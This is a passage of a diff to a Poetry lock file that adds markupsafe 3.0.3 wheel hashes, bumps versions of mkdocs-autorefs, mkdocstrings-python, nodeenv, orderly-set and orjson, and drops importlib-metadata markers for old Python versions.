"markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a"}, + {file = "markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19"}, + {file = "markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01"}, + {file = "markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c"}, + {file = "markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e"}, + {file = "markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b"}, + {file = "markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d"}, + {file = "markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c"}, + {file = "markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f"}, + {file = "markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795"}, + {file = "markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12"}, + {file = "markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed"}, + {file = "markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5"}, + {file = "markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485"}, + {file = "markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73"}, + {file = "markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287"}, + {file = "markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe"}, + {file = "markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe"}, + {file = "markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9"}, + {file = "markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581"}, + {file = "markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4"}, + {file = "markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab"}, + {file = "markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa"}, + {file = "markupsafe-3.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:15d939a21d546304880945ca1ecb8a039db6b4dc49b2c5a400387cdae6a62e26"}, + {file = "markupsafe-3.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f71a396b3bf33ecaa1626c255855702aca4d3d9fea5e051b41ac59a9c1c41edc"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f4b68347f8c5eab4a13419215bdfd7f8c9b19f2b25520968adfad23eb0ce60c"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8fc20152abba6b83724d7ff268c249fa196d8259ff481f3b1476383f8f24e42"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:949b8d66bc381ee8b007cd945914c721d9aba8e27f71959d750a46f7c282b20b"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3537e01efc9d4dccdf77221fb1cb3b8e1a38d5428920e0657ce299b20324d758"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:591ae9f2a647529ca990bc681daebdd52c8791ff06c2bfa05b65163e28102ef2"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:a320721ab5a1aba0a233739394eb907f8c8da5c98c9181d1161e77a0c8e36f2d"}, + {file = "markupsafe-3.0.3-cp39-cp39-win32.whl", hash = "sha256:df2449253ef108a379b8b5d6b43f4b1a8e81a061d6537becd5582fba5f9196d7"}, + {file = "markupsafe-3.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:7c3fb7d25180895632e5d3148dbdc29ea38ccb7fd210aa27acbd1201a1902c6e"}, + {file = "markupsafe-3.0.3-cp39-cp39-win_arm64.whl", hash = "sha256:38664109c14ffc9e7437e86b4dceb442b0096dfe3541d7864d9cbe1da4cf36c8"}, + {file = "markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698"}, ] [[package]] @@ -1348,7 +1440,6 @@ files = [ click = ">=7.0" colorama = {version = ">=0.4", markers = "platform_system == \"Windows\""} ghp-import = ">=1.0" -importlib-metadata = {version = ">=4.4", markers = "python_version < \"3.10\""} jinja2 = ">=2.11.1" markdown = ">=3.3.6" markupsafe = ">=2.0.1" @@ -1366,14 +1457,14 @@ min-versions = ["babel (==2.9.0)", "click (==7.0)", "colorama (==0.4) ; platform [[package]] name = "mkdocs-autorefs" -version = "1.4.1" +version = "1.4.3" description = "Automatically link across pages in MkDocs." optional = false python-versions = ">=3.9" groups = ["docs"] files = [ - {file = "mkdocs_autorefs-1.4.1-py3-none-any.whl", hash = "sha256:9793c5ac06a6ebbe52ec0f8439256e66187badf4b5334b5fde0b128ec134df4f"}, - {file = "mkdocs_autorefs-1.4.1.tar.gz", hash = "sha256:4b5b6235a4becb2b10425c2fa191737e415b37aa3418919db33e5d774c9db079"}, + {file = "mkdocs_autorefs-1.4.3-py3-none-any.whl", hash = "sha256:469d85eb3114801d08e9cc55d102b3ba65917a869b893403b8987b601cf55dc9"}, + {file = "mkdocs_autorefs-1.4.3.tar.gz", hash = "sha256:beee715b254455c4aa93b6ef3c67579c399ca092259cc41b7d9342573ff1fc75"}, ] [package.dependencies] @@ -1411,7 +1502,6 @@ files = [ ] [package.dependencies] -importlib-metadata = {version = ">=4.3", markers = "python_version < \"3.10\""} mergedeep = ">=1.3.4" platformdirs = ">=2.2.0" pyyaml = ">=5.1" @@ -1471,7 +1561,6 @@ files = [ ] [package.dependencies] -importlib-metadata = {version = ">=4.6", markers = "python_version < \"3.10\""} Jinja2 = ">=2.11.1" Markdown = ">=3.6" MarkupSafe = ">=1.1" @@ -1486,14 +1575,14 @@ python-legacy = ["mkdocstrings-python-legacy (>=0.2.1)"] [[package]] name = "mkdocstrings-python" -version = "1.18.2" +version = "2.0.2" description = "A Python handler for mkdocstrings." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["docs"] files = [ - {file = "mkdocstrings_python-1.18.2-py3-none-any.whl", hash = "sha256:944fe6deb8f08f33fa936d538233c4036e9f53e840994f6146e8e94eb71b600d"}, - {file = "mkdocstrings_python-1.18.2.tar.gz", hash = "sha256:4ad536920a07b6336f50d4c6d5603316fafb1172c5c882370cbbc954770ad323"}, + {file = "mkdocstrings_python-2.0.2-py3-none-any.whl", hash = "sha256:31241c0f43d85a69306d704d5725786015510ea3f3c4bdfdb5a5731d83cdc2b0"}, + {file = "mkdocstrings_python-2.0.2.tar.gz", hash = "sha256:4a32ccfc4b8d29639864698e81cfeb04137bce76bb9f3c251040f55d4b6e1ad8"}, ] [package.dependencies] @@ -1643,14 +1732,14 @@ type = ["mypy (==1.17.0)"] [[package]] name = "nodeenv" -version = "1.9.1" +version = "1.10.0" description = "Node.js virtual environment builder" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" groups = ["dev"] files = [ - {file = "nodeenv-1.9.1-py2.py3-none-any.whl", hash = "sha256:ba11c9782d29c27c70ffbdda2d7415098754709be8a7056d79a737cd901155c9"}, - {file = "nodeenv-1.9.1.tar.gz", hash = "sha256:6ec12890a2dab7946721edbfbcd91f3319c6ccc9aec47be7c7e6b7011ee6645f"}, + {file = "nodeenv-1.10.0-py2.py3-none-any.whl", hash = "sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827"}, + {file = "nodeenv-1.10.0.tar.gz", hash = "sha256:996c191ad80897d076bdfba80a41994c2b47c68e224c542b48feba42ba00f8bb"}, ] [[package]] @@ -1671,123 +1760,117 @@ PyYAML = ">=5.1.0" [[package]] name = "orderly-set" -version = "5.4.1" +version = "5.5.0" description = "Orderly set" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "orderly_set-5.4.1-py3-none-any.whl", hash = "sha256:b5e21d21680bd9ef456885db800c5cb4f76a03879880c0175e1b077fb166fd83"}, - {file = "orderly_set-5.4.1.tar.gz", hash = "sha256:a1fb5a4fdc5e234e9e8d8e5c1bbdbc4540f4dfe50d12bf17c8bc5dbf1c9c878d"}, + {file = "orderly_set-5.5.0-py3-none-any.whl", hash = "sha256:46f0b801948e98f427b412fcabb831677194c05c3b699b80de260374baa0b1e7"}, + {file = "orderly_set-5.5.0.tar.gz", hash = "sha256:e87185c8e4d8afa64e7f8160ee2c542a475b738bc891dc3f58102e654125e6ce"}, ] +[package.extras] +coverage = ["coverage (>=7.6.0,<7.7.0)"] +dev = ["bump2version (>=1.0.0,<1.1.0)", "ipdb (>=0.13.0,<0.14.0)"] +optimize = ["orjson"] +static = ["flake8 (>=7.1.0,<7.2.0)", "flake8-pyproject (>=1.2.3,<1.3.0)"] +test = ["pytest (>=8.3.0,<8.4.0)", "pytest-benchmark (>=5.1.0,<5.2.0)", "pytest-cov (>=6.0.0,<6.1.0)", "python-dotenv (>=1.0.0,<1.1.0)"] + [[package]] name = "orjson" -version = "3.11.5" +version = "3.11.7" description = "Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "orjson-3.11.5-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:df9eadb2a6386d5ea2bfd81309c505e125cfc9ba2b1b99a97e60985b0b3665d1"}, - {file = "orjson-3.11.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ccc70da619744467d8f1f49a8cadae5ec7bbe054e5232d95f92ed8737f8c5870"}, - {file = "orjson-3.11.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:073aab025294c2f6fc0807201c76fdaed86f8fc4be52c440fb78fbb759a1ac09"}, - {file = "orjson-3.11.5-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:835f26fa24ba0bb8c53ae2a9328d1706135b74ec653ed933869b74b6909e63fd"}, - {file = "orjson-3.11.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:667c132f1f3651c14522a119e4dd631fad98761fa960c55e8e7430bb2a1ba4ac"}, - {file = "orjson-3.11.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:42e8961196af655bb5e63ce6c60d25e8798cd4dfbc04f4203457fa3869322c2e"}, - {file = "orjson-3.11.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75412ca06e20904c19170f8a24486c4e6c7887dea591ba18a1ab572f1300ee9f"}, - {file = "orjson-3.11.5-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:6af8680328c69e15324b5af3ae38abbfcf9cbec37b5346ebfd52339c3d7e8a18"}, - {file = "orjson-3.11.5-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:a86fe4ff4ea523eac8f4b57fdac319faf037d3c1be12405e6a7e86b3fbc4756a"}, - {file = "orjson-3.11.5-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e607b49b1a106ee2086633167033afbd63f76f2999e9236f638b06b112b24ea7"}, - {file = "orjson-3.11.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7339f41c244d0eea251637727f016b3d20050636695bc78345cce9029b189401"}, - {file = "orjson-3.11.5-cp310-cp310-win32.whl", hash = "sha256:8be318da8413cdbbce77b8c5fac8d13f6eb0f0db41b30bb598631412619572e8"}, - {file = "orjson-3.11.5-cp310-cp310-win_amd64.whl", hash = "sha256:b9f86d69ae822cabc2a0f6c099b43e8733dda788405cba2665595b7e8dd8d167"}, - {file = "orjson-3.11.5-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9c8494625ad60a923af6b2b0bd74107146efe9b55099e20d7740d995f338fcd8"}, - {file = "orjson-3.11.5-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:7bb2ce0b82bc9fd1168a513ddae7a857994b780b2945a8c51db4ab1c4b751ebc"}, - {file = "orjson-3.11.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67394d3becd50b954c4ecd24ac90b5051ee7c903d167459f93e77fc6f5b4c968"}, - {file = "orjson-3.11.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:298d2451f375e5f17b897794bcc3e7b821c0f32b4788b9bcae47ada24d7f3cf7"}, - {file = "orjson-3.11.5-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aa5e4244063db8e1d87e0f54c3f7522f14b2dc937e65d5241ef0076a096409fd"}, - {file = "orjson-3.11.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1db2088b490761976c1b2e956d5d4e6409f3732e9d79cfa69f876c5248d1baf9"}, - {file = "orjson-3.11.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c2ed66358f32c24e10ceea518e16eb3549e34f33a9d51f99ce23b0251776a1ef"}, - {file = "orjson-3.11.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c2021afda46c1ed64d74b555065dbd4c2558d510d8cec5ea6a53001b3e5e82a9"}, - {file = "orjson-3.11.5-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:b42ffbed9128e547a1647a3e50bc88ab28ae9daa61713962e0d3dd35e820c125"}, - {file = "orjson-3.11.5-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:8d5f16195bb671a5dd3d1dbea758918bada8f6cc27de72bd64adfbd748770814"}, - {file = "orjson-3.11.5-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c0e5d9f7a0227df2927d343a6e3859bebf9208b427c79bd31949abcc2fa32fa5"}, - {file = "orjson-3.11.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:23d04c4543e78f724c4dfe656b3791b5f98e4c9253e13b2636f1af5d90e4a880"}, - {file = "orjson-3.11.5-cp311-cp311-win32.whl", hash = "sha256:c404603df4865f8e0afe981aa3c4b62b406e6d06049564d58934860b62b7f91d"}, - {file = "orjson-3.11.5-cp311-cp311-win_amd64.whl", hash = "sha256:9645ef655735a74da4990c24ffbd6894828fbfa117bc97c1edd98c282ecb52e1"}, - {file = "orjson-3.11.5-cp311-cp311-win_arm64.whl", hash = "sha256:1cbf2735722623fcdee8e712cbaaab9e372bbcb0c7924ad711b261c2eccf4a5c"}, - {file = "orjson-3.11.5-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:334e5b4bff9ad101237c2d799d9fd45737752929753bf4faf4b207335a416b7d"}, - {file = "orjson-3.11.5-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:ff770589960a86eae279f5d8aa536196ebda8273a2a07db2a54e82b93bc86626"}, - {file = "orjson-3.11.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ed24250e55efbcb0b35bed7caaec8cedf858ab2f9f2201f17b8938c618c8ca6f"}, - {file = "orjson-3.11.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a66d7769e98a08a12a139049aac2f0ca3adae989817f8c43337455fbc7669b85"}, - {file = "orjson-3.11.5-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:86cfc555bfd5794d24c6a1903e558b50644e5e68e6471d66502ce5cb5fdef3f9"}, - {file = "orjson-3.11.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a230065027bc2a025e944f9d4714976a81e7ecfa940923283bca7bbc1f10f626"}, - {file = "orjson-3.11.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b29d36b60e606df01959c4b982729c8845c69d1963f88686608be9ced96dbfaa"}, - {file = "orjson-3.11.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c74099c6b230d4261fdc3169d50efc09abf38ace1a42ea2f9994b1d79153d477"}, - {file = "orjson-3.11.5-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e697d06ad57dd0c7a737771d470eedc18e68dfdefcdd3b7de7f33dfda5b6212e"}, - {file = "orjson-3.11.5-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:e08ca8a6c851e95aaecc32bc44a5aa75d0ad26af8cdac7c77e4ed93acf3d5b69"}, - {file = "orjson-3.11.5-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:e8b5f96c05fce7d0218df3fdfeb962d6b8cfff7e3e20264306b46dd8b217c0f3"}, - {file = "orjson-3.11.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ddbfdb5099b3e6ba6d6ea818f61997bb66de14b411357d24c4612cf1ebad08ca"}, - {file = "orjson-3.11.5-cp312-cp312-win32.whl", hash = "sha256:9172578c4eb09dbfcf1657d43198de59b6cef4054de385365060ed50c458ac98"}, - {file = "orjson-3.11.5-cp312-cp312-win_amd64.whl", hash = "sha256:2b91126e7b470ff2e75746f6f6ee32b9ab67b7a93c8ba1d15d3a0caaf16ec875"}, - {file = "orjson-3.11.5-cp312-cp312-win_arm64.whl", hash = "sha256:acbc5fac7e06777555b0722b8ad5f574739e99ffe99467ed63da98f97f9ca0fe"}, - {file = "orjson-3.11.5-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:3b01799262081a4c47c035dd77c1301d40f568f77cc7ec1bb7db5d63b0a01629"}, - {file = "orjson-3.11.5-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:61de247948108484779f57a9f406e4c84d636fa5a59e411e6352484985e8a7c3"}, - {file = "orjson-3.11.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:894aea2e63d4f24a7f04a1908307c738d0dce992e9249e744b8f4e8dd9197f39"}, - {file = "orjson-3.11.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ddc21521598dbe369d83d4d40338e23d4101dad21dae0e79fa20465dbace019f"}, - {file = "orjson-3.11.5-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7cce16ae2f5fb2c53c3eafdd1706cb7b6530a67cc1c17abe8ec747f5cd7c0c51"}, - {file = "orjson-3.11.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e46c762d9f0e1cfb4ccc8515de7f349abbc95b59cb5a2bd68df5973fdef913f8"}, - {file = "orjson-3.11.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = 